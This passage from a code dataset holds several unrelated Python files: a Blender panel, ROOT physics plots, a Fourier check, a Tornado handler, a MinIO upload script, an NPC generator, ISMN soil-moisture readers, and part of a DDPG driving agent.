main():\n unittest.main()\n\nif __name__ == '__main__':\n main()\n","sub_path":"edwy-zoonekynd/Lesson2/cc_lesson_2.py","file_name":"cc_lesson_2.py","file_ext":"py","file_size_in_byte":3442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"263070103","text":"import bpy\n\nclass UP3DATE_PT_gui(bpy.types.Panel):\n \"\"\"Creates a Panel in the scene context of properties editor\"\"\"\n bl_idname = \"cityjson_PT_gui\"\n bl_label = \"Up3date\"\n bl_space_type = \"PROPERTIES\"\n bl_region_type = \"WINDOW\"\n bl_context = \"scene\"\n\n def draw(self, context):\n layout = self.layout\n\n scene = context.scene\n props = scene.cityjsonfy_properties\n\n layout.label(text=\"Convert selected to CityJSON:\")\n row = layout.row(align=True)\n row.prop(props, \"LOD\")\n row = layout.row()\n row.prop(props, \"LOD_version\")\n row = layout.row()\n row.prop(props, \"feature_type\")\n row = layout.row()\n row.prop(props, \"geometry_type\")\n row = layout.row()\n row.operator(\"cityjson.cityjsonfy\")","sub_path":"core/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"301061584","text":"from ROOT import *\ngROOT.SetBatch(True)\n#gROOT.ProcessLine('tdrstyle_SUSY.C')\n#setTDRStyle()\ngStyle.SetOptStat(0)\nc = TCanvas(\"c\", \"c\")\nc.SetWindowSize(800, 800)\nc.SetGrid()\n\n#files = ['histos.625_325_bin1GeV.root','histos_500_325_bin1GeV.root','histos_650_325_bin1GeV.root','histos_850_100_bin1GeV.root']\n#files = ['Histos_Stop.625_325.root','Histos_Stop_500_325.root','Histos_Stop_650_325.root','Histos_Stop_850_100.root']\ndir = '~/public_html/rootfiles/TriggerEffs/'\nfiles = [dir+'Histos_SingleEl.root']\n#,'Histos_Stop_500_325.root','Histos_Stop_650_325.root','Histos_Stop_850_100.root']\nl = TLegend(.65, .5, .9, .7)\n#l = TLegend(0.25,0.7,0.68,0.9)\n#s = THStack('Efficiency w.r.t gen level','Gen Efficiency')\ns = THStack('Efficiency','MET170 efficiency')\ncolors = [632#kRed\n ,800#kOrange\n ,616#kGreen,\n ,600#kBlue\n ] \nlegends = ['OneLep Skim','el triggered','muon triggered','Stop850_LSP100']\nhists = []\n\nfor idex,file in enumerate(files):\n hfile = TFile(file)\n h_pt_gen_match = TH1F()\n h_pt_gen = TH1F()\n h_pt_eff = TH1F()\n h_pt_gen_match.Sumw2()\n h_pt_gen.Sumw2()\n h_pt_eff.Sumw2()\n h_pt_gen_match = hfile.Get('MET_after_met170_SingleEl')\n h_pt_gen = hfile.Get('MET_pre_met170_SingleEl')\n h_pt_eff = h_pt_gen_match\n h_pt_eff.Divide(h_pt_gen_match,h_pt_gen,1.0,1.0,'B')\n h_pt_eff.SetMarkerStyle(8)\n h_pt_eff.SetMarkerSize(.6)\n h_pt_eff.SetMarkerColor(kBlue)\n h_pt_eff.SetTitle(legends[0])\n\n h1_pt_gen_match = TH1F()\n h1_pt_gen = TH1F()\n h1_pt_eff = TH1F()\n h1_pt_gen_match.Sumw2()\n h1_pt_gen.Sumw2()\n h1_pt_eff.Sumw2()\n h1_pt_gen_match = hfile.Get('MET_after_met170_el_SingleEl')\n h1_pt_gen = hfile.Get('MET_pre_met170_el_SingleEl')\n h1_pt_eff = h1_pt_gen_match\n h1_pt_eff.Divide(h1_pt_gen_match,h1_pt_gen,1.0,1.0,'B')\n h1_pt_eff.SetMarkerStyle(26)\n h1_pt_eff.SetMarkerSize(.6)\n h1_pt_eff.SetMarkerColor(kRed)\n h1_pt_eff.SetTitle(legends[1])\n\n h2_pt_gen_match = TH1F()\n h2_pt_gen = TH1F()\n h2_pt_eff = TH1F()\n h2_pt_gen_match.Sumw2()\n h2_pt_gen.Sumw2()\n h2_pt_eff.Sumw2()\n h2_pt_gen_match = hfile.Get('MET_after_met170_mu_SingleEl')\n h2_pt_gen = hfile.Get('MET_pre_met170_mu_SingleEl')\n h2_pt_eff = h2_pt_gen_match\n h2_pt_eff.Divide(h2_pt_gen_match,h2_pt_gen,1.0,1.0,'B')\n h2_pt_eff.SetMarkerStyle(25)\n h2_pt_eff.SetMarkerSize(.6)\n h2_pt_eff.SetMarkerColor(kCyan-3)\n h2_pt_eff.SetTitle(legends[2])\n \n h3_pt_gen_match = TH1F()\n h3_pt_gen = TH1F()\n h3_pt_eff = TH1F()\n h3_pt_gen_match.Sumw2()\n h3_pt_gen.Sumw2()\n h3_pt_eff.Sumw2()\n h3_pt_gen_match = hfile.Get('MET_after_met170_el_offline20_SingleEl')\n h3_pt_gen = hfile.Get('MET_pre_met170_el_offline20_SingleEl')\n h3_pt_eff = h3_pt_gen_match\n h3_pt_eff.Divide(h3_pt_gen_match,h3_pt_gen,1.0,1.0,'B')\n h3_pt_eff.SetMarkerStyle(26)\n h3_pt_eff.SetMarkerSize(.6)\n h3_pt_eff.SetMarkerColor(kBlue)\n h3_pt_eff.SetTitle('pt_el>20GeV')\n \n h4_pt_gen_match = TH1F()\n h4_pt_gen = TH1F()\n h4_pt_eff = TH1F()\n h4_pt_gen_match.Sumw2()\n h4_pt_gen.Sumw2()\n h4_pt_eff.Sumw2()\n h4_pt_gen_match = hfile.Get('MET_after_met170_el_offline40_SingleEl')\n h4_pt_gen = hfile.Get('MET_pre_met170_el_offline40_SingleEl')\n h4_pt_eff = h4_pt_gen_match\n h4_pt_eff.Divide(h4_pt_gen_match,h4_pt_gen,1.0,1.0,'B')\n h4_pt_eff.SetMarkerStyle(26)\n h4_pt_eff.SetMarkerSize(.6)\n h4_pt_eff.SetMarkerColor(kBlue)\n h4_pt_eff.SetTitle('pt_el>40GeV')\n\n h5_pt_gen_match = TH1F()\n h5_pt_gen = TH1F()\n h5_pt_eff = TH1F()\n h5_pt_gen_match.Sumw2()\n h5_pt_gen.Sumw2()\n h5_pt_eff.Sumw2()\n h5_pt_gen_match = hfile.Get('MET_after_met170_mu_offline20_SingleEl')\n h5_pt_gen = hfile.Get('MET_pre_met170_mu_offline20_SingleEl')\n h5_pt_eff = h5_pt_gen_match\n h5_pt_eff.Divide(h5_pt_gen_match,h5_pt_gen,1.0,1.0,'B')\n h5_pt_eff.SetMarkerStyle(25)\n h5_pt_eff.SetMarkerSize(.6)\n h5_pt_eff.SetMarkerColor(kOrange-2)\n h5_pt_eff.SetTitle('pt_mu>20GeV')\n\n h6_pt_gen_match = TH1F()\n h6_pt_gen = TH1F()\n h6_pt_eff = TH1F()\n h6_pt_gen_match.Sumw2()\n h6_pt_gen.Sumw2()\n h6_pt_eff.Sumw2()\n h6_pt_gen_match = hfile.Get('MET_after_met170_mu_offline30_SingleEl')\n h6_pt_gen = hfile.Get('MET_pre_met170_mu_offline30_SingleEl')\n h6_pt_eff = h6_pt_gen_match\n h6_pt_eff.Divide(h6_pt_gen_match,h6_pt_gen,1.0,1.0,'B')\n h6_pt_eff.SetMarkerStyle(25)\n h6_pt_eff.SetMarkerSize(.6)\n h6_pt_eff.SetMarkerColor(kRed)\n h6_pt_eff.SetTitle('pt_mu>30GeV')\n\n# s.Add(h_pt_eff) #both\n\n# s.Add(h1_pt_eff)#el\n# s.Add(h3_pt_eff)#el\n s.Add(h4_pt_eff)#el\n# s.Add(h2_pt_eff)#mu\n# s.Add(h5_pt_eff)#mu\n# s.Add(h6_pt_eff)#mu\n\n# l.AddEntry(h_pt_eff)#both\n# l.AddEntry(h1_pt_eff)#el\n# l.AddEntry(h3_pt_eff)#el\n l.AddEntry(h4_pt_eff)#el\n# l.AddEntry(h2_pt_eff)#mu\n# l.AddEntry(h5_pt_eff)#mu\n# l.AddEntry(h6_pt_eff)#mu\n\ns.Draw(\"nostack\") \nl.Draw()\n#c.SaveAs('/home/users/cwelke/public_html/MIA/eff.625_325.pdf')\nc.SaveAs('/home/users/mliu/public_html/met170_el_htplus10.pdf')\n\n","sub_path":"tnp/overlay_plots.py","file_name":"overlay_plots.py","file_ext":"py","file_size_in_byte":5100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"217321831","text":"import numpy as np\n\n\n# パラメータ\nfs = 44100\nr = 1.5\ntheta = 0.3\nf = 2\nL = 1 / f\n\nt = np.arange(0, fs * L) / fs\nx = r * np.cos(2 * np.pi * t / L - theta)\n\na = 2 / fs / L * sum(x * np.cos(2 * np.pi * t / L))\nb = 2 / fs / L * sum(x * np.sin(2 * np.pi * t / L))\n\nprint(f\"amplitude: {np.sqrt(a**2+b**2):.10f}\")\nprint(f\"phase : {np.arctan2(b,a):.10f}\")\n","sub_path":"ykuriki/chapter03/02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"20220369","text":"# Copyright (c) 2016, Daniele Venzano\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport tornado.gen\nimport tornado.web\n\nimport web.base_handler\n\nimport applications.hadoop.hdfs_client\nimport applications.misc.notebook\nimport applications.misc.sleeper\nimport applications.spark_jupyter.eurecom_aml_lab\nimport applications.spark_submit.spark_submit\n\n\nclass GenAppHandler(web.base_handler.BaseHandler):\n @tornado.gen.coroutine\n def post(self):\n app_base = self.get_argument('app_base')\n if app_base == 'simple_notebook':\n gen_func = applications.misc.notebook.gen_app\n options = applications.misc.notebook.options\n elif app_base == 'spark_notebook':\n gen_func = applications.spark_jupyter.eurecom_aml_lab.gen_app\n options = applications.spark_jupyter.eurecom_aml_lab.options\n elif app_base == 'spark_submit':\n gen_func = applications.spark_submit.spark_submit.gen_app\n options = applications.spark_submit.spark_submit.options\n elif app_base == 'test_app':\n gen_func = applications.misc.sleeper.gen_app\n options = applications.misc.sleeper.options\n elif app_base == 'hdfs_client':\n gen_func = applications.hadoop.hdfs_client.gen_app\n options = applications.hadoop.hdfs_client.options\n else:\n self.set_status(404)\n self.finish()\n return\n\n args = {}\n for opt in options:\n args[opt[0]] = self.get_argument(opt[0])\n app = gen_func(**args)\n self.add_header('Content-Disposition', 'attachment; filename=\"app.json\"')\n self.write(app)\n self.finish()\n","sub_path":"web/pages/gen_app.py","file_name":"gen_app.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"410438620","text":"\r\n#importing the minio libaries\r\nfrom minio import Minio\r\nfrom minio.error import S3Error\r\n\r\n#importing this for line 54\r\nimport io\r\n\r\n\"\"\"\r\nthis funciton is use to convert the file name in inbox to str\r\n\r\nbecause file name is stored in form of list in inbox dataframe and put_object(...) require str as input\r\n\r\n\"\"\"\r\ndef listToString(s):\r\n # initialize an empty string\r\n str1 = \"\"\r\n\r\n # traverse in the string\r\n for ele in s:\r\n str1 += ele\r\n\r\n # return string\r\n return str1\r\n# it is main function \r\n\r\ndef main(inbox, doc):\r\n # Create a client with the MinIO server playground, its access key\r\n # and secret key.\r\n \r\n \"\"\"\r\n In this we are using the public server, in which we can see all data uploaded by people used it \r\n anyone can access anyone's data \r\n \r\n so we can make our own server and change the access key and secret key\r\n and make it more secure\r\n \r\n \"\"\"\r\n client = Minio(\r\n \"play.min.io\",\r\n access_key=\"Q3AM3UQ867SPQQA43P2F\",\r\n secret_key=\"zuf+tfteSlswRu7BJ86wekitnifILbZam1KYY3TG\",\r\n )\r\n\r\n \"\"\"\r\n this is to check the type and value which we are getting in inbox and doc\r\n \r\n you can uncommet it for your understanding for data insights\r\n \r\n print(type(doc[0]))\r\n print(len(inbox)) \r\n print(type(inbox[\"username\"][0]))\r\n bucket=inbox[\"username\"][0].lower()\r\n object=inbox['file name'][0]\r\n print(type(object))\r\n \"\"\"\r\n for i in range(len(inbox)):\r\n\r\n \"\"\"\r\n now we are making bucket for each unique username \r\n \r\n \"\"\"\r\n\r\n found = client.bucket_exists(inbox[\"username\"][i].lower())\r\n if not found:\r\n client.make_bucket(inbox[\"username\"][i].lower())\r\n else:\r\n print(\"Bucket\", inbox[\"username\"][i], \"already exists\")\r\n\r\n \"\"\"\r\n here we upload the data in form of btyearray \r\n \r\n and the str parameters must in lowercase\r\n \r\n \"\"\"\r\n result = client.put_object(inbox[\"username\"][i].lower(), listToString(inbox['file name'][i]).lower(),\r\n io.BytesIO(doc[i]), -1, part_size=10 * 1024 * 1024)\r\n \r\n print(\"the file \", listToString(inbox['file name'][i]) , \" is uploaded\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"airflow/dags/minio_storage.py","file_name":"minio_storage.py","file_ext":"py","file_size_in_byte":2314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"541423395","text":"# NPC GENERATOR\r\n\r\nfrom Name_Gen import names\r\nfrom Stat_Gen import stat_gen\r\nimport os.path\r\nimport random\r\n\r\nif os.path.isfile(\"Names.txt\") and os.path.isfile(\"Surnames.txt\"): # Check if name files exist;\r\n pass\r\nelse: \r\n names()\r\n\r\nclass NPC : \r\n\r\n def name_data(self): # generates name data from name lists\r\n\r\n self.name = random.choice(open(\"Names List.txt\", 'r').readlines())\r\n name = self.name[: -2]\r\n\r\n\r\n return name\r\n\r\n def gender_data(self): # randomly picks gender\r\n\r\n if random.randint(1,2) == 1: \r\n self.gender = \"Male\"\r\n else: \r\n self.gender = \"Female\"\r\n\r\n gender = self.gender\r\n\r\n return gender\r\n\r\n def race_data(self): # generates random race for NPC\r\n\r\n races = [\"Dwarf\", \"Elf\", \"Half-elf\", \"Human\", \"Orc\"]\r\n\r\n return random.choice(races)\r\n\r\n def stats_data(self): # generates stats\r\n\r\n self.stats = stat_gen()\r\n stats = self.stats\r\n\r\n return stats\r\n\r\n def profession_data(self): \r\n\r\n # full list of professions\r\n professions = {\"Agriculture\": {\"Farmer\": [\"Cowherd\", \"Dung Carter\", \"Farmer\", \"Gardner\", \"Goatherd\", \"Hawker\",\r\n \"Peasant\", \"Serf\", \"Shepherd\", \"Swineherd\", \"Woodcutter\"],\r\n \r\n \"Hunter\": [\"Falconer\", \"Forester\", \"Fowler\", \"Hawker\", \"Hunter\", \"Rat Catcher\"]},\r\n\r\n \"Aquaculture\": {\"Fisherman\": [\"Fisherman\", \"Oysterer\"]},\r\n\r\n \"Artist\": {\"Visual_Art\": [\"Fresco painter\", \"Glass painter\", \"Painter\", \"Sculptor\"],\r\n\r\n \"Literary_Art\": [\"Composer\", \"Playwright\", \"Poet\", \"Writer\"]},\r\n\r\n \"Craftsman\": {\"Main\": [\"Shoemaker\", \"Tailor\", \"Jeweler\", \"Mason\", \"Carpenter\", \"Weaver\", \"Baker\",\r\n \"Hatmaker\", \"Butcher\", \"Roofer\", \"Locksmith\", \"Ropemaker\", \"Tanner\",\r\n \"Rugmaker\"],\r\n\r\n \"Blacksmith\": [\"Armorsmith\", \"Bladesmith\", \"Fletcher\", \"Gunsmith\"],\r\n\r\n \"Craft_Misc\": [\"Basketmaker\", \"Beekeeper\", \"Bellmaker\", \"Bookbinder\",\r\n \"Bookprinter\", \"Brewer\", \"Calligrapher\", \"Cardmaker\",\r\n \"Cartographer\", \"Cheesemaker\", \"Clockmaker\", \"Dyer\",\r\n \"Furniture maker\", \"Glassblower\",]},\r\n\r\n \"Criminal\": {\"Thief\": [\"Bandit\", \"Burglar\", \"Charlatan\", \"Pickpocket\"]},\r\n\r\n \"Entertainer\": {\"Musician\": [\"Bard\", \"Fiddler\", \"Harper\", \"Piper\", \"Singer\"],\r\n\r\n \"Entertain_Misc\": [\"Actor\", \"Dancer\", \"Jester\", \"Juggler\", \"Storyteller\"]},\r\n\r\n \"Government\": {\"Main\": [\"Bailiff\", \"Captain of the Guard\", \"Chamberlain\", \"Chancellor\",\r\n \"Constable\", \"Diplomat\", \"Emperor\", \"Herald\", \"Jailer\", \"Judge\",\r\n \"King\", \"Noble\", \"Prince\", \"Seneschal\", \"Scheriff\", \"Steward\",\r\n \"Tax Collector\", \"Treasurer\"]},\r\n\r\n \"Merchant\": {\"Main\": [\"Apothecary\", \"Banker\", \"Innkeeper\", \"Merchant\", \"Spice Merchant\",\r\n \"Wine Seller\", \"Wood Seller\"]},\r\n\r\n \"Military\": {\"Soldier\": [\"Archer\", \"Crossbowman\", \"Halberdier\", \"Knight\", \"Pikeman\",\r\n \"Scout\", \"Spearman\", \"Squire\"],\r\n\r\n \"Officer\": [\"Admiral\", \"Captain\", \"General\", \"Marhsal\", \"Sergeant\"],\r\n\r\n \"Camp_Follower\": [\"Camp Cook\"]},\r\n\r\n \"Religion\": {\"Main\": [\"Archbishop\", \"Bishop\", \"Cardinal\", \"Chantry Priest\", \"Curate\", \"Friar\",\r\n \"Monk\", \"Nun\", \"Priest\"]},\r\n\r\n \"Scholar\": {\"Main\": [\"Alchemist\", \"Astronomist\", \"Herbalist\", \"Librarian\", \"Mathematician\",\r\n \"Philosopher\", \"Theologian\"]},\r\n\r\n \"Unemployed\": {\"Main\": [\"Beggar\", \"Housewife\", \"Landlord\", \"Urchin\"]}\r\n }\r\n\r\n # Select a category of professions from the dictionary\r\n\r\n npc_profession_category = professions[random.choice(list(professions.keys()))]\r\n\r\n # Select a sub-group of professions from the selected category\r\n\r\n npc_profession_list = npc_profession_category[random.choice(list(npc_profession_category.keys()))]\r\n\r\n # Select a specific profession\r\n\r\n npc_profession = random.choice(npc_profession_list)\r\n\r\n return(npc_profession)\r\n\r\ndef npc_gen(npc_num): # generates npc_num number of NPCs\r\n NPCs = []\r\n\r\n for i in range(npc_num): # for i in range of the number of NPCs wanted do: \r\n j = NPC() # make j an NPC class\r\n\r\n # append lists of NPC data\r\n NPCs.append({j.name_data():[ j.gender_data(), j.stats_data(), j.race_data(), j.profession_data()]})\r\n\r\n return NPCs # return list of generated NPCs\r\n\r\n\r\nfor i in npc_gen(5):\r\n print(i)","sub_path":"NPC Generator.py","file_name":"NPC Generator.py","file_ext":"py","file_size_in_byte":5310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"294336501","text":"# Copyright (c) 2016,Vienna University of Technology,\n# Department of Geodesy and Geoinformation\n# All rights reserved.\n\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n# * Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n# * Neither the name of the Vienna University of Technology, Department of\n# Geodesy and Geoinformation nor the names of its contributors may be used\n# to endorse or promote products derived from this software without specific\n# prior written permission.\n\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL VIENNA UNIVERSITY OF TECHNOLOGY, DEPARTMENT OF\n# GEODESY AND GEOINFORMATION BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER\n# IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n\n'''\nModule generates dict representation of ISMN Metadata.\n'''\n\nfrom pytesmo.io.ismn.interface import ISMN_Interface\nimport numpy as np\n\n\ndef ismn_metadata(path):\n \"\"\"\n Goes through a downloaded ISMN dataset and reads the necessary metadata\n needed for the viewer.\n\n Parameters\n ----------\n path: string\n Folder in which the ISMN data is stored\n\n Returns\n -------\n metadata: dict\n Metadata dictionary.\n \"\"\"\n metadata = {\"Networks\": []}\n iface = ISMN_Interface(path)\n for networkname in iface.list_networks():\n network_dict = {\n \"networkID\": networkname,\n \"network_abstract\": \"\",\n \"network_status\": \"\",\n \"network_country\": \"\",\n \"network_continent\": \"\",\n \"network_op_start\": \"\",\n \"network_op_end\": \"\",\n \"network_type\": \"project\",\n \"network_constraints\": \"\",\n \"network_reference\": \"\",\n \"network_url_data\": \"\",\n \"network_url\": \"\",\n \"network_acknowledge\": \"\",\n \"network_variables\": \"\",\n \"network_depths\": \"\",\n \"network_sensors\": \"\",\n \"Stations\": []}\n metadata['Networks'].append(network_dict)\n station_list = network_dict['Stations']\n stations = iface.list_stations(network=networkname)\n for stationname in stations:\n station = iface.get_station(stationname, network=networkname)\n dmin, dmax = station.get_min_max_obs_timestamp()\n if dmin is None or dmax is None:\n # No soil moisture measured at this station\n continue\n station_dict = {\n \"station_abbr\": stationname,\n \"lat\": station.latitude,\n \"lng\": station.longitude,\n \"comment\": None,\n \"stationID\": stationname,\n \"extMetadata\": None,\n \"station_name\": stationname,\n \"variableText\": '
'.join(np.unique(station.variables)),\n \"depthText\": get_depth_text(station.depth_from,\n station.depth_to,\n station.variables),\n \"sensorText\": '
'.join(np.unique(station.sensors)),\n \"maximum\": dmax.isoformat(),\n \"minimum\": dmin.isoformat()\n }\n station_list.append(station_dict)\n\n return metadata\n\n\ndef get_depth_text(depths_from, depths_to, variables):\n\n l = []\n for depth_to, depth_from, var in zip(depths_to, depths_from, variables):\n if var == \"soil moisture\":\n l.append(\"{:.2f} - {:.2f} m\".format(depth_from, depth_to))\n\n return '
'.join(np.unique(l))\n\n\ndef variable_list(path, stationname):\n \"\"\"\n Goes through a downloaded ISMN dataset and reads the necessary metadata\n needed for the viewer.\n\n Parameters\n ----------\n path: string\n Folder in which the ISMN data is stored\n stationname: string\n Name of the station\n\n Returns\n -------\n metadata: dict\n Metadata dictionary.\n \"\"\"\n variables = []\n iface = ISMN_Interface(path)\n station = iface.get_station(stationname)\n\n for i, var in enumerate(station.variables):\n name = \"{}_{:.2f}_{}\".format(var,\n station.depth_from[i],\n station.sensors[i])\n var_dict = {\"quantityName\": var,\n \"unit\": \"\",\n \"depthFrom\": station.depth_from[i],\n \"depthTo\": station.depth_to[i],\n \"sensorId\": station.sensors[i],\n \"variableName\": name\n }\n variables.append(var_dict)\n\n dmin, dmax = station.get_min_max_obs_timestamp()\n vl = {\"maxtime\": dmax.date().isoformat(),\n \"mintime\": dmin.date().isoformat(),\n \"originalTimeframeValid\": False,\n \"variables\": variables}\n return vl\n\n\ndef get_station_data(path, stationname, variable,\n depth_from, depth_to, sensor_id):\n \"\"\"\n Read the data from the ISMN dataset\n\n Parameters\n ----------\n path: string\n Folder in which the ISMN data is stored\n stationname: string\n Name of the station\n variable: string\n Name of the variable to read\n depth_from: string\n starting depth of the variable\n depth_to: string\n end depth of the variable\n sensor_id: string\n Sensor id of the sensor to read\n\n Returns\n -------\n ds: pandas.DataFrame\n Data\n \"\"\"\n iface = ISMN_Interface(path)\n station = iface.get_station(stationname)\n ds = station.read_variable(variable.encode('ascii'),\n float(depth_from),\n float(depth_to),\n sensor_id.encode('ascii'))\n return ds.data[variable]\n\n\ndef prepare_station_interface(path, stationname, variable,\n depth_from, depth_to, sensor_id):\n \"\"\"\n Prepare an interface to the requested station data that\n provides the data via a read_ts(id) function. This is at the moment\n necessary since the ISMN interface does not follow the standards of\n other interfaces.\n\n Parameters\n ----------\n path: string\n Folder in which the ISMN data is stored\n stationname: string\n Name of the station\n variable: string\n Name of the variable to read\n depth_from: string\n starting depth of the variable\n depth_to: string\n end depth of the variable\n sensor_id: string\n Sensor id of the sensor to read\n\n Returns\n -------\n iface: object\n interface object which has a read_ts method\n \"\"\"\n iface = ISMN_Interface(path)\n station = iface.get_station(stationname)\n\n def read_ts(idx):\n ds = station.read_variable(variable.encode('ascii'),\n float(depth_from),\n float(depth_to),\n sensor_id.encode('ascii'))\n return ds.data\n\n station.read_ts = read_ts\n return station\n\n\ndef get_station_lonlat(path, stationname):\n \"\"\"\n Get the latitude and longitude coordinates from a station.\n\n Parameters\n ----------\n path: string\n Folder in which the ISMN data is stored\n stationname: string\n Name of the station\n\n Returns\n -------\n lon: float\n lat: float\n \"\"\"\n iface = ISMN_Interface(path)\n station = iface.get_station(stationname)\n return station.longitude, station.latitude\n\n\ndef get_station_start_end(path, stationname, variable,\n depth_from, depth_to):\n \"\"\"\n Get the start and end date for the selected insitu time series.\n\n Parameters\n ----------\n path: string\n Folder in which the ISMN data is stored\n stationname: string\n Name of the station\n variable: string\n Name of the variable to read\n depth_from: string\n starting depth of the variable\n depth_to: string\n end depth of the variable\n\n Returns\n -------\n start: datetime\n end: datetime\n \"\"\"\n iface = ISMN_Interface(path)\n station = iface.get_station(stationname)\n return station.get_min_max_obs_timestamp(variable=variable,\n min_depth=depth_from,\n max_depth=depth_to)\n\n\ndef get_station_first_sm_layer(path, stationname):\n \"\"\"\n Get the metadata of the first soil moisture layer of this variable.\n\n Parameters\n ----------\n path: string\n Folder in which the ISMN data is stored\n stationname: string\n Name of the station\n\n Returns\n -------\n depth_from: float\n depth_to: float\n sensor: string\n \"\"\"\n iface = ISMN_Interface(path)\n station = iface.get_station(stationname)\n depths_from, depths_to = station.get_depths(\"soil moisture\")\n s_idx = np.argsort(depths_from)\n depth_from = depths_from[s_idx[0]]\n depth_to = depths_to[s_idx[0]]\n sensor = station.get_sensors(\"soil moisture\", depth_from, depth_to)\n return depth_from, depth_to, sensor[0]\n","sub_path":"validation_tool/server/ismn.py","file_name":"ismn.py","file_ext":"py","file_size_in_byte":9951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"630915154","text":"# -*- coding: utf-8 -*-\n\nimport tensorflow as tf\nimport numpy as np\n\nfrom agents.abstract_agent import AbstractAgent\nfrom agents.ddpg_cnn.actor_network import Actor\nfrom agents.ddpg_cnn.critic_network import Critic\nimport config\n\nfrom agents.parts.OU import OU\nfrom agents.parts.replay_buffer import ReplayBuffer\n\n\n# Notes for readability: comments with tripple sharp (###) is the main steps of ddpg algorithm\n# ddpg from : https://arxiv.org/pdf/1509.02971.pdf\n\nclass Agent(AbstractAgent):\n\n\n\n # Hyper Parameters:\n REPLAY_BUFFER_SIZE = config.REPLAY_BUFFER_SIZE\n REPLAY_START_SIZE = config.REPLAY_START_SIZE\n BATCH_SIZE = config.BATCH_SIZE\n GAMMA = config.GAMMA\n SAFETY_GAMMA = config.SAFETY_GAMMA\n\n actor_network = None\n critic_network = None\n replay_buffer = None\n OU = None\n\n #Construct ddpg agent\n def __init__(self, env_name, state_dim, action_dim, safety_critic=False):\n self.state_dim = state_dim # dimention of states e.g vision size and other sensors!\n self.action_dim = action_dim # dimention of action e.g 3 for steering, throttle, and break\n self.safety_critic = safety_critic # false = normal ddpg, true = safety critic test!\n\n self.env_name = env_name\n\n # Ensure action bound is symmetric\n self.time_step = 0\n self.sess = tf.InteractiveSession(config=tf.ConfigProto(log_device_placement=False))\n\n ### Randomly initialize critic network and actor with weights θQ and θμ\n print(\"creating actor and critic\")\n self.actor_network = Actor(self.sess, self.state_dim, self.action_dim)\n self.critic_network = Critic(self.sess, self.state_dim, self.action_dim, self.actor_network.get_num_trainable_vars())\n\n print(\"tf.trainable_variables = \" + str(tf.trainable_variables()))\n\n # create an extra safety critic:\n if (self.safety_critic):\n with tf.variable_scope(\"Safety_critic\"):\n self.safety_critic_network = Critic(self.sess, self.state_dim, self.action_dim, self.actor_network.get_num_trainable_vars() + self.critic_network.get_num_trainable_vars())\n\n ### Initialize replay buffer R\n self.replay_buffer = ReplayBuffer(self.REPLAY_BUFFER_SIZE)\n\n ### Initialize a random process for action exploration (Ornstein-Uhlenbeck process)\n self.OU = OU()\n\n # loading networks #TODO, this is not adapted to my code!!!\n self.saver = tf.train.Saver()\n checkpoint = tf.train.get_checkpoint_state(\"saved_networks/\")\n if checkpoint and checkpoint.model_checkpoint_path:\n self.saver.restore(self.sess, checkpoint.model_checkpoint_path)\n print(\"Successfully loaded:\", checkpoint.model_checkpoint_path)\n else:\n print(\"Could not find old network weights\")\n\n def act(self, s_t, is_training, epsilon ,done):\n ## create action based on observed state s_t\n #TODO not adapted to diffrent action dims!!!!\n\n action = self.actor_network.action(s_t)\n\n if(is_training):\n # OU function(self, x, mu, theta, sigma)\n noise_t = np.zeros(self.action_dim)\n noise_t[0] = epsilon * self.OU.function(action[0], 0.0, 0.60, 0.80)\n noise_t[1] = epsilon * self.OU.function(action[1], 0.5, 1.00, 0.10)\n noise_t[2] = epsilon * self.OU.function(action[2], -0.1, 1.00, 0.05)\n action = action + noise_t\n\n\n action[0] = np.clip(action[0], -1, 1)\n action[1] = np.clip(action[1], 0, 1)\n action[2] = np.clip(action[2], 0, 1)\n\n return action\n\n def train(self):\n\n ### Sample a random minibatch of N (BATCH_SIZE) transitions (s_i, a_i, r_i, s_i+1) from ReplayBuffer\n # print \"train step\",self.time_step\n # Sample a random minibatch of N transitions from replay buffer\n minibatch = self.replay_buffer.getBatch(self.BATCH_SIZE)\n state_batch = 